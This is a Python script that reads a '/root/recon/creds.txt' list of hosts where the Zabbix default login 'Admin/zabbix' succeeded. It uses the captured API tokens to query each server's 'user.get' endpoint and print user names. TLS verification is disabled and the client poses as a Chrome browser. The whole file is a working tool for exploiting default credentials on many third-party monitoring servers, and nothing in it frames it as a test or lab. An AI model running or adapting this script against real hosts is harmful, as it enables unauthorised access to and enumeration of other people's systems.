import asyncio
import json
import re
import sys

import aiohttp

UA = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/131.0"}
LINE = re.compile(r"^(\S+?):(\d+)(/\S*)\s+Admin/zabbix OK token=(\S+)")


async def check(sess, sem, ip, port, path, tok):
    scheme = "https" if port == "443" else "http"
    base = "%s://%s:%s%s" % (scheme, ip, port, path)
    out = {}
    try:
        async with sem:
            async with sess.get(base, ssl=False) as r:
                body = (await r.content.read(200000)).decode("utf-8", "replace")
                out["size"] = len(body)
                m = re.search(r"<title>([^<]*)", body)
                out["title"] = m.group(1) if m else ""
            async with sess.post(base + "api_jsonrpc.php",
                                 json={"jsonrpc": "2.0", "method": "user.get",
                                       "params": {"output": ["userid", "username"]}, "id": 1},
                                 headers={"Authorization": "Bearer " + tok}, ssl=False) as r:
                j = json.loads(await r.content.read(4000))
                res = j.get("result")
                out["kind"] = type(res).__name__
                out["sample"] = json.dumps(res)[:100] if res is not None else str(j.get("error"))[:80]
    except Exception as e:
        out["err"] = type(e).__name__
    return ip, port, path, tok, out


async def main():
    rows = []
    for line in open("/root/recon/creds.txt"):
        m = LINE.match(line.strip())
        if m:
            rows.append(m.groups())
    sem = asyncio.Semaphore(6)
    to = aiohttp.ClientTimeout(total=15, connect=5, sock_read=12)
    async with aiohttp.ClientSession(timeout=to, headers=UA,
                                     connector=aiohttp.TCPConnector(limit=0, ssl=False)) as s:
        res = await asyncio.gather(*[check(s, sem, *r) for r in rows[:12]])
    for ip, port, path, tok, o in res:
        print("%s:%s%s tok=%s size=%s title=%r kind=%s %s" % (
            ip, port, path, tok[:8], o.get("size"), o.get("title"), o.get("kind"),
            o.get("sample") or o.get("err")))


asyncio.run(main())
